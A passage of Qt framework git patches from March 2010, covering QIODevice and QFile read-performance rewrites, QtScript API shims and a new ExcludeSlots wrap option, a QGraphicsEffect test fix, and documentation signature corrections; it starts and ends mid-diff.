*QDeclarativeKeysAttached::qmlAttachedProperties(QObjec */ /*! - \fn void QDeclarativeItem::childrenRectChanged() + \fn void QDeclarativeItem::childrenRectChanged(const QRectF &) \internal */ /*! - \fn void QDeclarativeItem::baselineOffsetChanged() + \fn void QDeclarativeItem::baselineOffsetChanged(qreal) \internal */ /*! - \fn void QDeclarativeItem::widthChanged() + \fn void QDeclarativeItem::widthChanged(qreal) \internal */ /*! - \fn void QDeclarativeItem::heightChanged() + \fn void QDeclarativeItem::heightChanged(qreal) \internal */ @@ -1289,17 +1289,17 @@ QDeclarativeKeysAttached *QDeclarativeKeysAttached::qmlAttachedProperties(QObjec */ /*! - \fn void QDeclarativeItem::parentChanged() + \fn void QDeclarativeItem::parentChanged(QDeclarativeItem *) \internal */ /*! - \fn void QDeclarativeItem::smoothChanged() + \fn void QDeclarativeItem::smoothChanged(bool) \internal */ /*! - \fn void QDeclarativeItem::clipChanged() + \fn void QDeclarativeItem::clipChanged(bool) \internal */ @@ -1313,12 +1313,12 @@ QDeclarativeKeysAttached *QDeclarativeKeysAttached::qmlAttachedProperties(QObjec */ /*! - \fn void QDeclarativeItem::focusChanged() + \fn void QDeclarativeItem::focusChanged(bool) \internal */ /*! - \fn void QDeclarativeItem::wantsFocusChanged() + \fn void QDeclarativeItem::wantsFocusChanged(bool) \internal */ -- cgit v0.12 From d0645d1792e1cbdf417a923ea071975e4390fccd Mon Sep 17 00:00:00 2001 From: mread Date: Wed, 24 Mar 2010 12:25:58 +0000 Subject: QIODevice::read() and QFile::atEnd() performance improvements atEnd improvements, since atEnd is used in published example Qt read loops. The two main ideas are to push the buffer test forward, which optimises the normal buffered case, and to cache the file size till you get to the end, which otherwise has to get the file size every 16K of data. read buffer improvements: The ring buffer structure was causing significant performance overheads. In practice QIODevice has much simpler requirements on its read buffer, and a linear buffer can be used instead. This now uses a buffer optimised to QIODevice's use of it. QIODevice read function improvements. There are a number of sub-themes here, which all are aimed at getting the normal buffered path through the code done as fast as possible. This gives greatest improvements for small reads, but it is these small reads that have the biggest problems. - removing the isSequential test, by setting a pointer to the qint64 to update and using a dummy qint64 target when isSequential, then writing through the pointer. - doing the readability check on the first read only, out of the fast path - doing the maxSize<0 test after the getchar fast path - removing the buffer isEmpty test and giving a fast exit test instead - moving arithmetic out of the fast path, so "data" and "maxSize" are now dynamically updating - for RCVT builds, ARM mode is used for the read functions because the 64-bit operations are much slower with this compiler in Thumb mode There are some other changes to read() which improve clarity: - bytesToBuffer is now always set to QIODEVICE_BUFFERSIZE. This has always been the case, its just that the logic was not clear before. - moreToRead is set to false now in the case where the request was met by a direct device read. Leaving it true in this case was pointless, and setting it true in the converse case seems dangerous because the function might iterate for a very long time, although it might meet the API semantics better and would be a change in behavior because the function used to not read more when it claimed it would. Reviewed-by: Joao Reviewed-by: Aleksandar Babic --- src/corelib/io/qfile.cpp | 46 +++++++++--- src/corelib/io/qfile_p.h | 2 + src/corelib/io/qiodevice.cpp | 163 +++++++++++++++++++++++++------------------ src/corelib/io/qiodevice_p.h | 127 ++++++++++++++++++++++++++++++++- 4 files changed, 260 insertions(+), 78 deletions(-) diff --git a/src/corelib/io/qfile.cpp b/src/corelib/io/qfile.cpp index aa1c7d9..50e9a8f 100644 --- a/src/corelib/io/qfile.cpp +++ b/src/corelib/io/qfile.cpp @@ -90,7 +90,8 @@ QFile::DecoderFn QFilePrivate::decoder = locale_decode; QFilePrivate::QFilePrivate() : fileEngine(0), lastWasWrite(false), - writeBuffer(QFILE_WRITEBUFFER_SIZE), error(QFile::NoError) + writeBuffer(QFILE_WRITEBUFFER_SIZE), error(QFile::NoError), + cachedSize(0) { } @@ -1257,8 +1258,10 @@ QFile::resize(qint64 sz) seek(sz); if(d->fileEngine->setSize(sz)) { unsetError(); + d->cachedSize = sz; return true; } + d->cachedSize = 0; d->setError(QFile::ResizeError, d->fileEngine->errorString()); return false; } @@ -1420,7 +1423,8 @@ qint64 QFile::size() const Q_D(const QFile); if (!d->ensureFlushed()) return 0; - return fileEngine()->size(); + d->cachedSize = fileEngine()->size(); + return d->cachedSize; } /*! @@ -1446,16 +1450,16 @@ bool QFile::atEnd() const { Q_D(const QFile); + // If there's buffered data left, we're not at the end. + if (!d->buffer.isEmpty()) + return false; + if (!isOpen()) return true; if (!d->ensureFlushed()) return false; - // If there's buffered data left, we're not at the end. - if (!d->buffer.isEmpty()) - return false; - // If the file engine knows best, say what it says. if (d->fileEngine->supportsExtension(QAbstractFileEngine::AtEndExtension)) { // Check if the file engine supports AtEndExtension, and if it does, @@ -1463,6 +1467,11 @@ bool QFile::atEnd() const return d->fileEngine->atEnd(); } + // if it looks like we are at the end, or if size is not cached, + // fall through to bytesAvailable() to make sure. + if (pos() < d->cachedSize) + return false; + // Fall back to checking how much is available (will stat files). return bytesAvailable() == 0; } @@ -1502,12 +1511,21 @@ qint64 QFile::readLineData(char *data, qint64 maxlen) if (!d->ensureFlushed()) return -1; - if (d->fileEngine->supportsExtension(QAbstractFileEngine::FastReadLineExtension)) - return d->fileEngine->readLine(data, maxlen); + qint64 read; + if (d->fileEngine->supportsExtension(QAbstractFileEngine::FastReadLineExtension)) { + read = d->fileEngine->readLine(data, maxlen); + } else { + // Fall back to QIODevice's readLine implementation if the engine + // cannot do it faster. + read = QIODevice::readLineData(data, maxlen); + } + + if (read < maxlen) { + // failed to read all requested, may be at the end of file, stop caching size so that it's rechecked + d->cachedSize = 0; + } - // Fall back to QIODevice's readLine implementation if the engine - // cannot do it faster. - return QIODevice::readLineData(data, maxlen); + return read; } /*! @@ -1528,6 +1546,12 @@ qint64 QFile::readData(char *data, qint64 len) err = QFile::ReadError; d->setError(err, d->fileEngine->errorString()); } + + if (read < len) { + // failed to read all requested, may be at the end of file, stop caching size so that it's rechecked + d->cachedSize = 0; + } + return read; } diff --git a/src/corelib/io/qfile_p.h b/src/corelib/io/qfile_p.h index f8f5f5c..cf76c09 100644 --- a/src/corelib/io/qfile_p.h +++ b/src/corelib/io/qfile_p.h @@ -84,6 +84,8 @@ protected: void setError(QFile::FileError err, const QString &errorString); void setError(QFile::FileError err, int errNum); + mutable qint64 cachedSize; + private: static QFile::EncoderFn encoder; static QFile::DecoderFn decoder; diff --git a/src/corelib/io/qiodevice.cpp b/src/corelib/io/qiodevice.cpp index c93f0c3..f83c142 100644 --- a/src/corelib/io/qiodevice.cpp +++ b/src/corelib/io/qiodevice.cpp @@ -84,10 +84,6 @@ void debugBinaryString(const char *data, qint64 maxlen) } #endif -#ifndef QIODEVICE_BUFFERSIZE -#define QIODEVICE_BUFFERSIZE Q_INT64_C(16384) -#endif - #define Q_VOID #define CHECK_MAXLEN(function, returnType) \ @@ -123,7 +119,9 @@ void debugBinaryString(const char *data, qint64 maxlen) QIODevicePrivate::QIODevicePrivate() : openMode(QIODevice::NotOpen), buffer(QIODEVICE_BUFFERSIZE), pos(0), devicePos(0) + , pPos(&pos), pDevicePos(&devicePos) , baseReadLineDataCalled(false) + , firstRead(true) , accessMode(Unset) #ifdef QT_NO_QOBJECT , q_ptr(0) @@ -449,11 +447,15 @@ QIODevice::OpenMode QIODevice::openMode() const */ void QIODevice::setOpenMode(OpenMode openMode) { + Q_D(QIODevice); #if defined QIODEVICE_DEBUG printf("%p QIODevice::setOpenMode(0x%x)\n", this, int(openMode)); #endif - d_func()->openMode = openMode; - d_func()->accessMode = QIODevicePrivate::Unset; + d->openMode = openMode; + d->accessMode = QIODevicePrivate::Unset; + d->firstRead = true; + if (!isReadable()) + d->buffer.clear(); } /*! @@ -537,6 +539,7 @@ bool QIODevice::open(OpenMode mode) d->pos = (mode & Append) ? size() : qint64(0); d->buffer.clear(); d->accessMode = QIODevicePrivate::Unset; + d->firstRead = true; #if defined QIODEVICE_DEBUG printf("%p QIODevice::open(0x%x)\n", this, quint32(mode)); #endif @@ -566,6 +569,7 @@ void QIODevice::close() d->errorString.clear(); d->pos = 0; d->buffer.clear(); + d->firstRead = true; } /*! @@ -729,6 +733,12 @@ qint64 QIODevice::bytesToWrite() const return qint64(0); } +#ifdef Q_CC_RVCT +// arm mode makes the 64-bit integer operations much faster in RVCT 2.2 +#pragma push +#pragma arm +#endif + /*! Reads at most \a maxSize bytes from the device into \a data, and returns the number of bytes read. If an error occurs, such as when @@ -745,21 +755,17 @@ qint64 QIODevice::bytesToWrite() const qint64 QIODevice::read(char *data, qint64 maxSize) { Q_D(QIODevice); - CHECK_READABLE(read, qint64(-1)); - CHECK_MAXLEN(read, qint64(-1)); #if defined QIODEVICE_DEBUG printf("%p QIODevice::read(%p, %d), d->pos = %d, d->buffer.size() = %d\n", this, data, int(maxSize), int(d->pos), int(d->buffer.size())); #endif - const bool sequential = d->isSequential(); // Short circuit for getChar() if (maxSize == 1) { int chint; while ((chint = d->buffer.getChar()) != -1) { - if (!sequential) - ++d->pos; + ++(*d->pPos); char c = char(uchar(chint)); if (c == '\r' && (d->openMode & Text)) @@ -773,61 +779,77 @@ qint64 QIODevice::read(char *data, qint64 maxSize) } } + CHECK_MAXLEN(read, qint64(-1)); qint64 readSoFar = 0; bool moreToRead = true; do { - int lastReadChunkSize = 0; - // Try reading from the buffer. - if (!d->buffer.isEmpty()) { - lastReadChunkSize = d->buffer.read(data + readSoFar, maxSize - readSoFar); - readSoFar += lastReadChunkSize; - if (!sequential) - d->pos += lastReadChunkSize; + int lastReadChunkSize = d->buffer.read(data, maxSize); + *d->pPos += lastReadChunkSize; + readSoFar += lastReadChunkSize; + // fast exit when satisfied by buffer + if (lastReadChunkSize == maxSize && !(d->openMode & Text)) + return readSoFar; + + if (lastReadChunkSize > 0) { + data += lastReadChunkSize; + maxSize -= lastReadChunkSize; #if defined QIODEVICE_DEBUG printf("%p \treading %d bytes from buffer into position %d\n", this, lastReadChunkSize, int(readSoFar) - lastReadChunkSize); #endif - } else if ((d->openMode & Unbuffered) == 0 && maxSize < QIODEVICE_BUFFERSIZE) { - // In buffered mode, we try to fill up the QIODevice buffer before - // we do anything else. - int bytesToBuffer = qMax(maxSize - readSoFar, QIODEVICE_BUFFERSIZE); - char *writePointer = d->buffer.reserve(bytesToBuffer); - - // Make sure the device is positioned correctly. - if (d->pos != d->devicePos && !sequential && !seek(d->pos)) - return qint64(-1); - qint64 readFromDevice = readData(writePointer, bytesToBuffer); - d->buffer.chop(bytesToBuffer - (readFromDevice < 0 ? 0 : int(readFromDevice))); + } else { + if (d->firstRead) { + // this is the first time the file has been read, check it's valid and set up pos pointers + // for fast pos updates. + CHECK_READABLE(read, qint64(-1)); + d->firstRead = false; + if (d->isSequential()) { + d->pPos = &d->seqDumpPos; + d->pDevicePos = &d->seqDumpPos; + } + } - if (readFromDevice > 0) { - if (!sequential) - d->devicePos += readFromDevice; + if ((d->openMode & Unbuffered) == 0 && maxSize < QIODEVICE_BUFFERSIZE) { + // In buffered mode, we try to fill up the QIODevice buffer before + // we do anything else. + // buffer is empty at this point, try to fill it + int bytesToBuffer = QIODEVICE_BUFFERSIZE; + char *writePointer = d->buffer.reserve(bytesToBuffer); + + // Make sure the device is positioned correctly. + if (d->pos != d->devicePos && !d->isSequential() && !seek(d->pos)) + return readSoFar ? readSoFar : qint64(-1); + qint64 readFromDevice = readData(writePointer, bytesToBuffer); + d->buffer.chop(bytesToBuffer - (readFromDevice < 0 ? 0 : int(readFromDevice))); + + if (readFromDevice > 0) { + *d->pDevicePos += readFromDevice; #if defined QIODEVICE_DEBUG - printf("%p \treading %d from device into buffer\n", this, int(readFromDevice)); + printf("%p \treading %d from device into buffer\n", this, int(readFromDevice)); #endif - if (readFromDevice < bytesToBuffer) - d->buffer.truncate(int(readFromDevice)); - if (!d->buffer.isEmpty()) { - lastReadChunkSize = d->buffer.read(data + readSoFar, maxSize - readSoFar); - readSoFar += lastReadChunkSize; - if (!sequential) - d->pos += lastReadChunkSize; + if (!d->buffer.isEmpty()) { + lastReadChunkSize = d->buffer.read(data, maxSize); + readSoFar += lastReadChunkSize; + data += lastReadChunkSize; + maxSize -= lastReadChunkSize; + *d->pPos += lastReadChunkSize; #if defined QIODEVICE_DEBUG - printf("%p \treading %d bytes from buffer at position %d\n", this, - lastReadChunkSize, int(readSoFar)); + printf("%p \treading %d bytes from buffer at position %d\n", this, + lastReadChunkSize, int(readSoFar)); #endif + } } } } // If we need more, try reading from the device. - if (readSoFar < maxSize) { + if (maxSize > 0) { // Make sure the device is positioned correctly. - if (d->pos != d->devicePos && !sequential && !seek(d->pos)) - return qint64(-1); - qint64 readFromDevice = readData(data + readSoFar, maxSize - readSoFar); + if (d->pos != d->devicePos && !d->isSequential() && !seek(d->pos)) + return readSoFar ? readSoFar : qint64(-1); + qint64 readFromDevice = readData(data, maxSize); #if defined QIODEVICE_DEBUG printf("%p \treading %d bytes from device (total %d)\n", this, int(readFromDevice), int(readSoFar)); #endif @@ -835,27 +857,21 @@ qint64 QIODevice::read(char *data, qint64 maxSize) // error and we haven't read anything: return immediately return -1; } - if (readFromDevice <= 0) { - moreToRead = false; - } else { - // see if we read as much data as we asked for - if (readFromDevice < maxSize - readSoFar) - moreToRead = false; - + if (readFromDevice > 0) { lastReadChunkSize += int(readFromDevice); readSoFar += readFromDevice; - if (!sequential) { - d->pos += readFromDevice; - d->devicePos += readFromDevice; - } + data += readFromDevice; + maxSize -= readFromDevice; + *d->pPos += readFromDevice; + *d->pDevicePos += readFromDevice; } - } else { - moreToRead = false; } + // Best attempt has been made to read data, don't try again except for text mode adjustment below + moreToRead = false; if (readSoFar && d->openMode & Text) { - char *readPtr = data + readSoFar - lastReadChunkSize; - const char *endPtr = data + readSoFar; + char *readPtr = data - lastReadChunkSize; + const char *endPtr = data; if (readPtr < endPtr) { // optimization to avoid initial self-assignment @@ -870,8 +886,11 @@ qint64 QIODevice::read(char *data, qint64 maxSize) char ch = *readPtr++; if (ch != '\r') *writePtr++ = ch; - else + else { --readSoFar; + --data; + ++maxSize; + } } // Make sure we get more data if there is room for more. This @@ -885,11 +904,15 @@ qint64 QIODevice::read(char *data, qint64 maxSize) #if defined QIODEVICE_DEBUG printf("%p \treturning %d, d->pos == %d, d->buffer.size() == %d\n", this, int(readSoFar), int(d->pos), d->buffer.size()); - debugBinaryString(data, readSoFar); + debugBinaryString(data - readSoFar, readSoFar); #endif return readSoFar; } +#ifdef Q_CC_RVCT +#pragma pop +#endif + /*! \overload @@ -997,6 +1020,12 @@ QByteArray QIODevice::readAll() return result; } +#ifdef Q_CC_RVCT +// arm mode makes the 64-bit integer operations much faster in RVCT 2.2 +#pragma push +#pragma arm +#endif + /*! This function reads a line of ASCII characters from the device, up to a maximum of \a maxSize - 1 bytes, stores the characters in \a @@ -1229,6 +1258,10 @@ qint64 QIODevice::readLineData(char *data, qint64 maxSize) return readSoFar; } +#ifdef Q_CC_RVCT +#pragma pop +#endif + /*! Returns true if a complete line of data can be read from the device; otherwise returns false. @@ -1416,9 +1449,7 @@ bool QIODevicePrivate::putCharHelper(char c) */ bool QIODevice::getChar(char *c) { - Q_D(QIODevice); - CHECK_READABLE(getChar, false); - + // readability checked in read() char ch; return (1 == read(c ? c : &ch, 1)); } diff --git a/src/corelib/io/qiodevice_p.h b/src/corelib/io/qiodevice_p.h index cc4a237..94dadca 100644 --- a/src/corelib/io/qiodevice_p.h +++ b/src/corelib/io/qiodevice_p.h @@ -64,6 +64,126 @@ QT_BEGIN_NAMESPACE +#ifndef QIODEVICE_BUFFERSIZE +#define QIODEVICE_BUFFERSIZE Q_INT64_C(16384) +#endif + +// This is QIODevice's read buffer, optimised for read(), isEmpty() and getChar() +class QIODevicePrivateLinearBuffer +{ +public: + QIODevicePrivateLinearBuffer(int) : len(0), first(0), buf(0), capacity(0) { + } + ~QIODevicePrivateLinearBuffer() { + delete [] buf; + } + void clear() { + first = buf; + len = 0; + } + int size() const { + return len; + } + bool isEmpty() const { + return len == 0; + } + void skip(int n) { + if (n >= len) { + clear(); + } else { + len -= n; + first += n; + } + } + int getChar() { + if (len == 0) + return -1; + int ch = uchar(*first); + len--; + first++; + return ch; + } + int read(char* target, int size) { + int r = qMin(size, len); + memcpy(target, first, r); + len -= r; + first += r; + return r; + } + char* reserve(int size) { + makeSpace(size + len, freeSpaceAtEnd); + char* writePtr = first + len; + len += size; + return writePtr; + } + void chop(int size) { + if (size >= len) { + clear(); + } else { + len -= size; + } + } + QByteArray readAll() { + char* f = first; + int l = len; + clear(); + return QByteArray(f, l); + } + int readLine(char* target, int size) { + int r = qMin(size, len); + char* eol = static_cast(memchr(first, '\n', r)); + if (eol) + r = 1+(eol-first); + memcpy(target, first, r); + len -= r; + first += r; + return int(r); + } + bool canReadLine() const { + return memchr(first, '\n', len); + } + void ungetChar(char c) { + if (first == buf) { + // underflow, the existing valid data needs to move to the end of the (potentially bigger) buffer + makeSpace(len+1, freeSpaceAtStart); + } + first--; + len++; + *first = c; + } + +private: + enum FreeSpacePos {freeSpaceAtStart, freeSpaceAtEnd}; + void makeSpace(size_t required, FreeSpacePos where) { + size_t newCapacity = qMax(capacity, size_t(QIODEVICE_BUFFERSIZE)); + while (newCapacity < required) + newCapacity *= 2; + int moveOffset = (where == freeSpaceAtEnd) ? 0 : newCapacity - len; + if (newCapacity > capacity) { + // allocate more space + char* newBuf = new char[newCapacity]; + memmove(newBuf + moveOffset, first, len); + delete [] buf; + buf = newBuf; + capacity = newCapacity; + } else { + // shift any existing data to make space + memmove(buf + moveOffset, first, len); + } + first = buf + moveOffset; + } + +private: + // length of the unread data + int len; + // start of the unread data + char* first; + // the allocated buffer + char* buf; + // allocated buffer size + size_t capacity; +}; + class Q_CORE_EXPORT QIODevicePrivate #ifndef QT_NO_QOBJECT : public QObjectPrivate @@ -78,10 +198,15 @@ public: QIODevice::OpenMode openMode; QString errorString; - QRingBuffer buffer; + QIODevicePrivateLinearBuffer buffer; qint64 pos; qint64 devicePos; + // these three are for fast position updates during read, avoiding isSequential test + qint64 seqDumpPos; + qint64 *pPos; + qint64 *pDevicePos; bool baseReadLineDataCalled; + bool firstRead; virtual bool putCharHelper(char c); -- cgit v0.12 From 96bd304a62f88dc097d5ac4f16d60fd8751227fd Mon Sep 17 00:00:00 2001 From: Olivier Goffart Date: Wed, 24 Mar 2010 13:52:57 +0100 Subject: Stabilize QGraphicsEffect test on X11 --- tests/auto/qgraphicseffect/tst_qgraphicseffect.cpp | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/tests/auto/qgraphicseffect/tst_qgraphicseffect.cpp b/tests/auto/qgraphicseffect/tst_qgraphicseffect.cpp index 02899ae..49b840f 100644 --- a/tests/auto/qgraphicseffect/tst_qgraphicseffect.cpp +++ b/tests/auto/qgraphicseffect/tst_qgraphicseffect.cpp @@ -512,6 +512,7 @@ void tst_QGraphicsEffect::drawPixmapItem() QGraphicsView view(&scene); view.show(); QTest::qWaitForWindowShown(&view); + QTRY_VERIFY(effect->repaints >= 1); item->rotate(180); QTest::qWait(50); @@ -642,7 +643,7 @@ void tst_QGraphicsEffect::childrenVisibilityShouldInvalidateCache() view.show(); QApplication::setActiveWindow(&view); QTest::qWaitForWindowShown(&view); - QCOMPARE(parent.nbPaint, 1); + QTRY_COMPARE(parent.nbPaint, 1); //we set an effect on the parent parent.setGraphicsEffect(new QGraphicsDropShadowEffect(&parent)); //flush the events -- cgit v0.12 From 38db6eba54534207126915f6f195c8af9f772833 Mon Sep 17 00:00:00 2001 From: Alan Alpert Date: Wed, 24 Mar 2010 13:59:02 +0100 Subject: Help qt-qml integrate. Git seems to be having trouble with the merge, this might make it easier. --- tests/auto/declarative/qdeclarativedom/data/importlib/sublib/Foo.qml | 2 ++ .../declarative/qdeclarativedom/data/importlib/sublib/qmldir/Foo.qml | 2 -- 2 files changed, 2 insertions(+), 2 deletions(-) create mode 100644 tests/auto/declarative/qdeclarativedom/data/importlib/sublib/Foo.qml delete mode 100644 tests/auto/declarative/qdeclarativedom/data/importlib/sublib/qmldir/Foo.qml diff --git a/tests/auto/declarative/qdeclarativedom/data/importlib/sublib/Foo.qml b/tests/auto/declarative/qdeclarativedom/data/importlib/sublib/Foo.qml new file mode 100644 index 0000000..2d1a4a3 --- /dev/null +++ b/tests/auto/declarative/qdeclarativedom/data/importlib/sublib/Foo.qml @@ -0,0 +1,2 @@ +import Qt 4.6 + diff --git a/tests/auto/declarative/qdeclarativedom/data/importlib/sublib/qmldir/Foo.qml b/tests/auto/declarative/qdeclarativedom/data/importlib/sublib/qmldir/Foo.qml deleted file mode 100644 index 2d1a4a3..0000000 --- a/tests/auto/declarative/qdeclarativedom/data/importlib/sublib/qmldir/Foo.qml +++ /dev/null @@ -1,2 +0,0 @@ -import Qt 4.6 - -- cgit v0.12 From 739f15838f73e84cb5e5ae58bb8adc267bc1b79c Mon Sep 17 00:00:00 2001 From: Kent Hansen Date: Wed, 24 Mar 2010 12:47:31 +0100 Subject: QtScript: Add more missing API shims Their absence was causing Bauhaus to crash. Reviewed-by: Simon Hausmann --- src/script/api/qscriptvalue.cpp | 12 ++++++++---- src/script/api/qscriptvalueiterator.cpp | 1 + 2 files changed, 9 insertions(+), 4 deletions(-) diff --git a/src/script/api/qscriptvalue.cpp b/src/script/api/qscriptvalue.cpp index 5db1165..3fe0e7d 100644 --- a/src/script/api/qscriptvalue.cpp +++ b/src/script/api/qscriptvalue.cpp @@ -1505,8 +1505,9 @@ QScriptValue QScriptValue::call(const QScriptValue &thisObject, const QScriptValueList &args) { Q_D(const QScriptValue); - if (!d || !d->isJSC()) + if (!d || !d->isObject()) return QScriptValue(); + QScript::APIShim shim(d->engine); JSC::JSValue callee = d->jscValue; JSC::CallData callData; JSC::CallType callType = callee.getCallData(callData); @@ -1582,8 +1583,9 @@ QScriptValue QScriptValue::call(const QScriptValue &thisObject, const QScriptValue &arguments) { Q_D(QScriptValue); - if (!d || !d->isJSC()) + if (!d || !d->isObject()) return QScriptValue(); + QScript::APIShim shim(d->engine); JSC::JSValue callee = d->jscValue; JSC::CallData callData; JSC::CallType callType = callee.getCallData(callData); @@ -1656,8 +1658,9 @@ QScriptValue QScriptValue::call(const QScriptValue &thisObject, QScriptValue QScriptValue::construct(const QScriptValueList &args) { Q_D(const QScriptValue); - if (!d || !d->isJSC()) + if (!d || !d->isObject()) return QScriptValue(); + QScript::APIShim shim(d->engine); JSC::JSValue callee = d->jscValue; JSC::ConstructData constructData; JSC::ConstructType constructType = callee.getConstructData(constructData); @@ -1705,8 +1708,9 @@ QScriptValue QScriptValue::construct(const QScriptValueList &args) QScriptValue QScriptValue::construct(const QScriptValue &arguments) { Q_D(QScriptValue); - if (!d || !d->isJSC()) + if (!d || !d->isObject()) return QScriptValue(); + QScript::APIShim shim(d->engine); JSC::JSValue callee = d->jscValue; JSC::ConstructData constructData; JSC::ConstructType constructType = callee.getConstructData(constructData); diff --git a/src/script/api/qscriptvalueiterator.cpp b/src/script/api/qscriptvalueiterator.cpp index 5c1e6f2..7fd7093 100644 --- a/src/script/api/qscriptvalueiterator.cpp +++ b/src/script/api/qscriptvalueiterator.cpp @@ -100,6 +100,7 @@ public: if (initialized) return; QScriptEnginePrivate *eng_p = engine(); + QScript::APIShim shim(eng_p); JSC::ExecState *exec = eng_p->globalExec(); JSC::PropertyNameArray propertyNamesArray(exec); JSC::asObject(object()->jscValue)->getOwnPropertyNames(exec, propertyNamesArray, JSC::IncludeDontEnumProperties); -- cgit v0.12 From 9540e2b5d67af9a26f431c3e8636bff9946e88c4 Mon Sep 17 00:00:00 2001 From: Kent Hansen Date: Wed, 24 Mar 2010 14:05:38 +0100 Subject: QtScript: Add QObjectWrapOption for not exposing slots This makes it possible to have a prototype object in place that handles all slot calls, rather than having the slots be recreated in each wrapper object. Task-number: QTBUG-3637 Reviewed-by: Simon Hausmann --- src/script/api/qscriptengine.cpp | 1 + src/script/api/qscriptengine.h | 1 + src/script/bridge/qscriptqobject.cpp | 3 +- .../qscriptextqobject/tst_qscriptextqobject.cpp | 87 ++++++++++++++++++++++ 4 files changed, 91 insertions(+), 1 deletion(-) diff --git a/src/script/api/qscriptengine.cpp b/src/script/api/qscriptengine.cpp index 356b4d0..2650d7f 100644 --- a/src/script/api/qscriptengine.cpp +++ b/src/script/api/qscriptengine.cpp @@ -292,6 +292,7 @@ QT_BEGIN_NAMESPACE \value ExcludeSuperClassProperties The script object will not expose properties inherited from the superclass. \value ExcludeSuperClassContents Shorthand form for ExcludeSuperClassMethods | ExcludeSuperClassProperties \value ExcludeDeleteLater The script object will not expose the QObject::deleteLater() slot. + \value ExcludeSlots The script object will not expose the QObject's slots. \value AutoCreateDynamicProperties Properties that don't already exist in the QObject will be created as dynamic properties of that object, rather than as properties of the script object. \value PreferExistingWrapperObject If a wrapper object with the requested configuration already exists, return that object. \value SkipMethodsInEnumeration Don't include methods (signals and slots) when enumerating the object's properties. diff --git a/src/script/api/qscriptengine.h b/src/script/api/qscriptengine.h index 2ce3183..76461bc 100644 --- a/src/script/api/qscriptengine.h +++ b/src/script/api/qscriptengine.h @@ -125,6 +125,7 @@ public: ExcludeSuperClassContents = 0x0006, SkipMethodsInEnumeration = 0x0008, ExcludeDeleteLater = 0x0010, + ExcludeSlots = 0x0020, AutoCreateDynamicProperties = 0x0100, PreferExistingWrapperObject = 0x0200 diff --git a/src/script/bridge/qscriptqobject.cpp b/src/script/bridge/qscriptqobject.cpp index 765e074..83a811b 100644 --- a/src/script/bridge/qscriptqobject.cpp +++ b/src/script/bridge/qscriptqobject.cpp @@ -151,7 +151,8 @@ private: static bool hasMethodAccess(const QMetaMethod &method, int index, const QScriptEngine::QObjectWrapOptions &opt) { return (method.access() != QMetaMethod::Private) - && ((index != 2) || !(opt & QScriptEngine::ExcludeDeleteLater)); + && ((index != 2) || !(opt & QScriptEngine::ExcludeDeleteLater)) + && (!(opt & QScriptEngine::ExcludeSlots) || (method.methodType() != QMetaMethod::Slot)); } static bool isEnumerableMetaProperty(const QMetaProperty &prop, diff --git a/tests/auto/qscriptextqobject/tst_qscriptextqobject.cpp b/tests/auto/qscriptextqobject/tst_qscriptextqobject.cpp index b4ce561..c1496f7 100644 --- a/tests/auto/qscriptextqobject/tst_qscriptextqobject.cpp +++ b/tests/auto/qscriptextqobject/tst_qscriptextqobject.cpp @@ -533,6 +533,7 @@ private slots: void objectDeleted(); void connectToDestroyedSignal(); void emitAfterReceiverDeleted(); + void inheritedSlots(); private: QScriptEngine *m_engine; @@ -2658,6 +2659,21 @@ void tst_QScriptExtQObject::enumerate_data() << "mySignal()" // slots << "mySlot()" << "myOtherSlot()"); + + QTest::newRow( "don't enumerate slots" ) + << int(QScriptEngine::ExcludeSlots) + << (QStringList() + // meta-object-defined properties: + // inherited + << "objectName" + // non-inherited + << "p1" << "p2" << "p4" << "p6" + // dynamic properties + << "dp1" << "dp2" << "dp3" + // inherited signals + << "destroyed(QObject*)" << "destroyed()" + // signals + << "mySignal()"); } void tst_QScriptExtQObject::enumerate() @@ -2850,6 +2866,28 @@ void tst_QScriptExtQObject::wrapOptions() QVERIFY(obj.property("intProperty").isValid()); QVERIFY(obj.propertyFlags("intProperty") & QScriptValue::QObjectMember); } + // exclude slots + { + QScriptValue obj = m_engine->newQObject(m_myObject, QScriptEngine::QtOwnership, + QScriptEngine::ExcludeSlots); + QVERIFY(!obj.property("deleteLater").isValid()); + QVERIFY(!(obj.propertyFlags("deleteLater") & QScriptValue::QObjectMember)); + QVERIFY(!obj.property("mySlot").isValid()); + QVERIFY(!(obj.propertyFlags("mySlot") & QScriptValue::QObjectMember)); + + QVERIFY(obj.property("myInvokable").isFunction()); + QVERIFY(obj.propertyFlags("myInvokable") & QScriptValue::QObjectMember); + + QVERIFY(obj.property("mySignal").isFunction()); + QVERIFY(obj.propertyFlags("mySignal") & QScriptValue::QObjectMember); + QVERIFY(obj.property("destroyed").isFunction()); + QVERIFY(obj.propertyFlags("destroyed") & QScriptValue::QObjectMember); + + QVERIFY(obj.property("objectName").isValid()); + QVERIFY(obj.propertyFlags("objectName") & QScriptValue::QObjectMember); + QVERIFY(obj.property("intProperty").isValid()); + QVERIFY(obj.propertyFlags("intProperty") & QScriptValue::QObjectMember); + } // exclude all that we can { QScriptValue obj = m_engine->newQObject(m_myObject, QScriptEngine::QtOwnership, @@ -2871,6 +2909,33 @@ void tst_QScriptExtQObject::wrapOptions() QCOMPARE(obj.property("child") .strictlyEquals(QScriptValue(m_engine, 123)), true); } + // exclude absolutely all that we can + { + QScriptValue obj = m_engine->newQObject(m_myObject, QScriptEngine::QtOwnership, + QScriptEngine::ExcludeSuperClassMethods + | QScriptEngine::ExcludeSuperClassProperties + | QScriptEngine::ExcludeChildObjects + | QScriptEngine::ExcludeSlots); + QVERIFY(!obj.property("deleteLater").isValid()); + QVERIFY(!(obj.propertyFlags("deleteLater") & QScriptValue::QObjectMember)); + + QVERIFY(!obj.property("mySlot").isValid()); + QVERIFY(!(obj.propertyFlags("mySlot") & QScriptValue::QObjectMember)); + + QVERIFY(obj.property("mySignal").isFunction()); + QVERIFY(obj.propertyFlags("mySignal") & QScriptValue::QObjectMember); + + QVERIFY(obj.property("myInvokable").isFunction()); + QVERIFY(obj.propertyFlags("myInvokable") & QScriptValue::QObjectMember); + + QVERIFY(!obj.property("objectName").isValid()); + QVERIFY(!(obj.propertyFlags("objectName") & QScriptValue::QObjectMember)); + + QVERIFY(obj.property("intProperty").isValid()); + QVERIFY(obj.propertyFlags("intProperty") & QScriptValue::QObjectMember); + + QVERIFY(!obj.property("child").isValid()); + } delete child; } @@ -3043,5 +3108,27 @@ void tst_QScriptExtQObject::emitAfterReceiverDeleted() } } +void tst_QScriptExtQObject::inheritedSlots() +{ + QScriptEngine eng; + + QPushButton prototypeButton; + QScriptValue scriptPrototypeButton = eng.newQObject(&prototypeButton); + + QPushButton button; + 